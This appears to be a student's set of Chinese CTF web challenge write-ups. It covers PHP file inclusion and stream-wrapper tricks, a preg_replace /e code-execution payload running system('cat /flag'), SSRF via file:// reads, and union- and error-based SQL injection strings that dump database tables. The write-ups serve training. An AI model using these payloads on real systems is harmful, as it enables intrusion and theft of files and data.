

WEB1

[HCTF 2018]Warmup 1.8

做题人：余俊康 题目地址：<https://www.nssctf.cn/problem/162> 知识点：文件包含，代码审计

打开题目是一张表情包图片，其他什么都没有

然后查看源代码

```
!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <meta http-equiv="X-UA-Compatible" content="ie=edge">
  <title>Document</title>
</head>
<body>
  <!--source.php-->

  <br></body>
</html>
```

注意到可以访问source.php,访问一下看看 得到下面这段php代码

```
<?php
highlight_file(__FILE__);
class emmm
{
    public static function checkFile(&$page)
    {
        $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
        if (! isset($page) || !is_string($page)) {
            echo "you can't see it";
            return false;
        }

        if (in_array($page, $whitelist)) {
            return true;
        }

        $_page = mb_substr(
            $page,
            0,
            mb_strpos($page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
```

```

        return true;
    }

    $_page = urldecode($page);
    $_page = mb_substr(
        $_page,
        0,
        mb_strpos($_page . '?', '?')
    );
    if (in_array($_page, $whitelist)) {
        return true;
    }
    echo "you can't see it";
    return false;
}
}

if (! empty($_REQUEST['file'])
    && is_string($_REQUEST['file'])
    && emmm::checkFile($_REQUEST['file']))
{
    include $_REQUEST['file'];
    exit;
} else {
    echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\"
/>";
}
?>

```

这里有好多不认识的函数，去查了一下还是不太理解。但是里面有提到hint.php，试着去访问一下，结果有用

```

$_page = mb_substr(
    $page,
    0,
    mb_strpos($page . '?', '?')
);

```

这一段'是php中的链接运算符，通过它将page变量值与一个问号连接起来，组成新的字符，计算出length的值赋给page 为了避开白名单的检查构造如下url 最后得到flag

[极客大挑战 2020]welcome 1.9

做题人余俊康 题目地址: <https://www.nssct.cn/problem/2296> 知识点: php代码审计

一开始打开题目是一片空白，打开源码页什么都没有。看了一下别人操作，post一下就会有东西出现 然后就获得了下面这段代码

```

<?php
error_reporting(0);

```

```
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
    header("HTTP/1.1 405 Method Not Allowed");
    exit();
} else {

    if (!isset($_POST['roam1']) || !isset($_POST['roam2'])) {
        show_source(__FILE__);
    }
    else if ($_POST['roam1'] !== $_POST['roam2'] && sha1($_POST['roam1']) ===
sha1($_POST['roam2'])) {
        phpinfo(); // collect information from phpinfo!
    }
}
```

```
else if ($_POST['roam1'] !== $_POST['roam2'] && sha1($_POST['roam1']) ===
sha1($_POST['roam2'])) {
    phpinfo(); // collect information from phpinfo!
```

这个条件这里首先要求roam1和roam2两个变量的值不相等，同时又要求它们经过SHA1哈希函数计算后的哈希值是相等的，还暗示了要到phpinfo里找flag 然后用数组绕过进入到phpinfo界面 在这个界面里有flag迹象 访问结果如下 然后有无从下手，看了一下别人的做法，原来这个界面是故意设计的，f12后还是能在网络那找到flag的

[BJDCTF 2020]ZJCTF，不过如此

做题人：余俊康 题目地址：<https://www.nssctf.cn/problem/717> 知识点：php伪协议

打开看到一段php代码

```
<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1><br>";
    if(preg_match("/flag/", $file)){
        die("Not now!");
    }

    include($file); //next.php
}
else{
    highlight_file(__FILE__);
}
?>
```

因为涉及到text，所以用伪协议中的data：//和filter 构造如下payload

```
http://node4.anna.nssctf.cn:28282/?
text=data://text/plain,I%20have%20a%20dream&file=php://filter/convert.base64-
encode/resource=next.php
```

然后就得到一串base64,解码后得到下面这段代码

```
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}

foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
    @eval($_GET['cmd']);
}
```

然后又无从下手，看了一下别人，要从preg_replace /e 下手，模式下的preg_replace可以让第二个参数'替换字符串'当作代码执行，但是这里第二个参数是不可变的 所以构造payload

```
http://node4.anna.nssctf.cn:28282/?
text=data://text/plain,I%20have%20a%20dream&file=next.php&?
\S*=${getFlag()}&cmd=system(%27cat%20/flag%27);
```

[LitCTF 2024]浏览器也能套娃？

做题人：余俊康 题目地址：<https://www.nssctf.cn/problem/5604> 知识点:php伪协议

点开题目是如下：

输入进去都没用显示无效，于是打开源码看看，还是没法做 但是当我把题目url输入进去后却有效了 看了一下别人的做法，说是通过url分享网页内容，就要想到SSRF漏洞。SSRF一般用于访问本地的文件，所以在这里可

以用伪协议中的, file:// 来访问 但是当我去访问的时候确是这样的 最后发现输错位置了, 因该直接在搜索框里输入 file:///flag 最后得到flag

1.13 [SWPUCTF 2021]include

做题人: 余俊康 题地址: <https://www.nssctf.cn/problem/427> 知识点: php伪协议

打开题目只看到一个“传入一个文件”一句话, 但是也没看到传入的入口 于是url上加上file=, 然后就有一串php代码

```
<?php
ini_set("allow_url_include","on");
header("Content-type: text/html; charset=utf-8");
error_reporting(0);
$file=$_GET['file'];
if(isset($file)){
    show_source(__FILE__);
    echo 'flag 在flag.php中';
}else{
    echo "传入一个file试试";
}
echo "</br>";
echo "</br>";
echo "</br>";
echo "</br>";
echo "</br>";
include_once($file);
?> flag 在flag.php中
```

然后我直接当问flag.php, 但是没有结果。想到题目提示用php伪协议, 于是用filter:协议 于是修改payload

```
http://node7.anna.nssctf.cn:26132/?file=php://filter/read=convert.base64-
encode/resource=flag.php
```

然后就得到一串base64代码 解码得到flag

[SWPUCTF 2021]easy_sql

做题人: 余俊康 题目地址: <https://www.nssctf.cn/problem/387> 知识点: sql注入

打开题目要求输入点什么, 但是并没有要求怎么输入 但是看到提示说参数是wllm 于是随便输入了wllm并赋值为1, 然后就得到如下的提示 根据提示是sql注入的题目, 那么就先判断一下字段数 3不行, 但是四有用说明字段数是3, 然后因为确定了有几列, 可以使用下面的语句查询

```
http://node4.anna.nssctf.cn:28687/?wllm=-1%27%20union%20select%201,2,3--+
```

然后去查数据库名称 之后去查数据库里面有什么表 查到里面有test_tb,users两个表 然后接招看表,在test_db表里找到了flag的踪迹 然后直接访问表里的flag

```
http://node4.anna.nssctf.cn:28687/?
wllm=-1%27%20union%20select%201,2,flag%20from%20test_tb%20--+
```

[SWPUCTF 2022 新生赛]ez_ez_php

做题人:余俊康 题目地址: <https://www.nssctf.cn/problem/423> 知识点: php伪协议

打开题目是一段php代码

```
<?php
error_reporting(0);
if (isset($_GET['file'])) {
    if ( substr($_GET["file"], 0, 3) === "php" ) {
        echo "Nice!!!";
        include($_GET["file"]);
    }

    else {
        echo "Hacker!!";
    }
}else {
    highlight_file(__FILE__);
}
//flag.php
```

这段代码里出现了substr函数, 这个函数是用来检查字母的, 这里检查前三个字母是不是php,如果是这回现Nice!! 于是get传参file=php 这里无法直接访问flag.php 根据提示, 要用php伪协议, 于是构造payload

```
http://node5.anna.nssctf.cn:29347/?file=php://filter/read=convert.base64-
encode/resource=flag.php
```

base64解码后

```
<?php
error_reporting(0);
header("Content-Type:text/html;charset=utf-8");

echo  "NSSCTF{flag_is_not_here}" . "<br/>";
echo "real_flag_is_in_'flag'". "<br/>";
```

```
echo "换个思路，试试PHP伪协议呢";
```

试了一下这个不是答案,还以为用错了协议，原来是真的flag在，“flag”里而不是“fla.php”所以修改payload

```
http://node5.anna.nssctf.cn:29347/?file=php://filter/read=convert.base64-encode/resource=flag
```

最后解码得到flag

[NISACTF 2022]easyssrf

题目地址: <https://www.nssctf.cn/problem/2011> 做题人: 余俊康 知识点: ssrf, php伪协议

打开题目叫我们输入curl 首先区别url和curl, curl: 是一个利用 URL 语法在命令行下工作的文件传输工具。根据提示直接用file协议, 所以在输入栏里输入

```
file:///etc/password
```

但是没用 说明应该在flag.php里 所以改为

```
file:///flag
```

说明要看fl4g 直接访问ha1x1ux1u.php, 然后得到一段php代码

```
<?php

highlight_file(__FILE__);
error_reporting(0);

$file = $_GET["file"];
if (strstr($file, "file")){
    die("你败了.");
}

//flag in /flag
echo file_get_contents($file);
```

这里涉及到strstr函数, 在 PHP 中, strstr函数用于查找字符串在另一个字符串中首次出现的位置, 不区分大小写。而且这里还将file过滤掉了, 所以用filter协议, 构造payload

```
http://node5.anna.nssctf.cn:27233/ha1x1ux1u.php?
file=php://filter/read=convert.base64-encode/resource=/flag
```

最后解码得到答案

[SWPUCTF 2021 新生赛]error

题目地址: <https://www.nssctf.cn/problem/428> 做题人: 余俊康 知识点: sql注入

打开题目是一个输入框 既然是sql注入的题目 首先判断闭合方式 这样可以判断是id = 'input_id'形式, 接下来要判断列数 这说明是3列 接下来就要爆库名了 构造payload

```
1' union select 1,extractvalue(1,concat('~',(select database()))),3#
```

得到库名为~test_db 然后爆表名

```
1' union select 1,extractvalue(1,concat('~',(select group_concat(table_name) from
information_schema.tables where table_schema=database()))),3#
```

得到表名为test_tb,users 然后爆每个表下的列名, 先看一下users的 具体到每列的内容里没有flag, 说明不是这个表, 然后看下一个表

```
1' and 1=extractvalue(1,concat('~',(select group_concat(id,'~',flag) from
test_tb)))#
```

```
1' and 1=extractvalue(1,concat('~',(select
substring(group_concat(id,'~',flag),31,30) from test_tb)))#
```

去掉相同的6,拼接在一起得到flag

[SWPUCTF 2022 新生赛]js_sign

做题人: 余俊康 题目url: <https://www.nssctf.cn/problem/2884> 知识点: js

打开题目要输入一点什么。输个1'看看 显然不是, 然后去看一看源码

```
<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
```



```

<style>
  body {
    background-color: rgb(255, 255, 255);
  }
</style>
</head>
<body>
  <input id="flag" />
  <button>Check</button>

  <script src="./main.js"></script>
</body>
</html>

```

这里有个main.js可以访问，打开看看

```

document.getElementsByTagName("button")[0].addEventListener("click", ()=>{
  flag="33 43 43 13 44 21 54 34 45 21 24 33 14 21 31 11 22 12 54 44 11 35 13 34
14 15"
  if (btoa(flag.value) == 'dGFwY29kZQ==') {
    alert("you got hint!!!");
  } else {
    alert("fuck off !!");
  }
})

```

```

if (btoa(flag.value) == 'dGFwY29kZQ==')

```

这里尝试使用 btoa() 函数对 flag.value 进行编码，并将结果与 'dGFwY29kZQ==' 进行比较。btoa() 函数用于将字符串进行 Base64 编码。tapcode是一种编码方式，于是去解码 得到flag

[HNCTF 2022 Week1]Interesting_include

做题人:余俊康 题目链接: <https://www.nssctf.cn/problem/2900> 知识点: php伪协议

打开题目是一段php代码

```

<?php
//WEB手要懂得搜索
//flag in ./flag.php

if(isset($_GET['filter'])){
  $file = $_GET['filter'];
  if(!preg_match("/flag/i", $file)){
    die("error");
  }
}

```

```
include($file);
}else{
    highlight_file(__FILE__);
}
```

注意下面这段

```
if(!preg_match("/flag/i", $file))
```

意思是检查变量\$file的值中是否不包含不区分大小写的字符串flag。如果不包含，则执行if语句块内的代码 这里可以用filter协议去访问flag.php 构造如下payload：

```
http://node5.anna.nssctf.cn:24037/?filter=php://filter/read=convert.base64-encode/resource=flag.php
```

得到一串base64编码 然后解码得到flag

[SWPUCTF 2022 新生赛]ez_ez_php(revenge)

做题人：余俊康 题目url：<https://www.nssctf.cn/problem/2821> 知识点：PHP伪协议

打开题目有一段php代码

```
<?php
error_reporting(0);
if (isset($_GET['file'])) {
    if ( substr($_GET["file"], 0, 3) === "php" ) {
        echo "Nice!!!";
        include($_GET["file"]);
    }

    else {
        echo "Hacker!!";
    }
}else {
    highlight_file(__FILE__);
}
//flag.php
```

注意下面这句

```
substr($_GET["file"], 0, 3) === "php"
```

意思是检查参数值的前三个字符是否为 php 根据题目提示用php伪协议和Get传参前三个为php 所以构造如下的payload

```
file=php://filter/read=convert.base64-encode/resource=flag.php
```

得到了下面这串

```
Nice!!!  
PD9waHANCmVycm9yX3JlcG9ydGluZygwKTSNCmh1YWRlcigiQ29udGVudC1UeXB1OnRleHQvaHRtbDtjaG  
Fyc2V0PXBV0Zi04Iik7DQoNCg0KZWNoYAgICJOU1NDVEZ7ZmxhZ19pc19ub3RfaGVyZX0iIC4iPGJyLz4i  
Ow0KZWNoYAcmbF9mbGFuX2l2X2luXyAnL2ZsYWcnICUuIjxici8+IjsNCmVjaG8gIuaNouS4quaAne  
i3r++8j0ivleivlVBIUOS8quWNj+iuuWROI7DQo=
```

可是base64解码得到

```
<?php  
error_reporting(0);  
header("Content-Type:text/html;charset=utf-8");  
  
echo "NSSCTF{flag_is_not_here}" . "<br/>";  
echo "real_flag_is_in_ '/flag' " . "<br/>";  
echo "换个思路, 试试PHP伪协议呢";
```

说明在flag这个文件里而不是flag.php里

[极客大挑战 2020]welcome

做题人余俊康 题目地址: <https://www.nssctf.cn/problem/2296> 知识点: php代码审计

一开始打开题目是一片空白, 打开源码页什么都没有。看了一下别人操作, post一下就会有东西出现 然后就获得了下面这段代码

```
<?php  
error_reporting(0);  
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {  
    header("HTTP/1.1 405 Method Not Allowed");  
    exit();  
} else {  
  
    if (!isset($_POST['roam1']) || !isset($_POST['roam2'])) {  
        show_source(__FILE__);  
    }  
    else if ($_POST['roam1'] !== $_POST['roam2'] && sha1($_POST['roam1']) ===  
    sha1($_POST['roam2'])) {
```

```
        phpinfo(); // collect information from phpinfo!
    }
}
```

```
else if ($_POST['roam1']!= $_POST['roam2'] && sha1($_POST['roam1']) ===
sha1($_POST['roam2']))
    phpinfo(); // collect information from phpinfo!
```

这个条件这里首先要求roam1和roam2两个变量的值不相等，同时又要求它们经过SHA1哈希函数计算后的哈希值是相等的，还暗示了要到phpinfo里找flag 然后用数组绕过进入到phpinfo界面 在这个界面里有flag迹象 访问结果如下 然后有无从下手，看了一下别人的做法，原来这个界面是故意设计的，f12后还是能在网络那找到flag的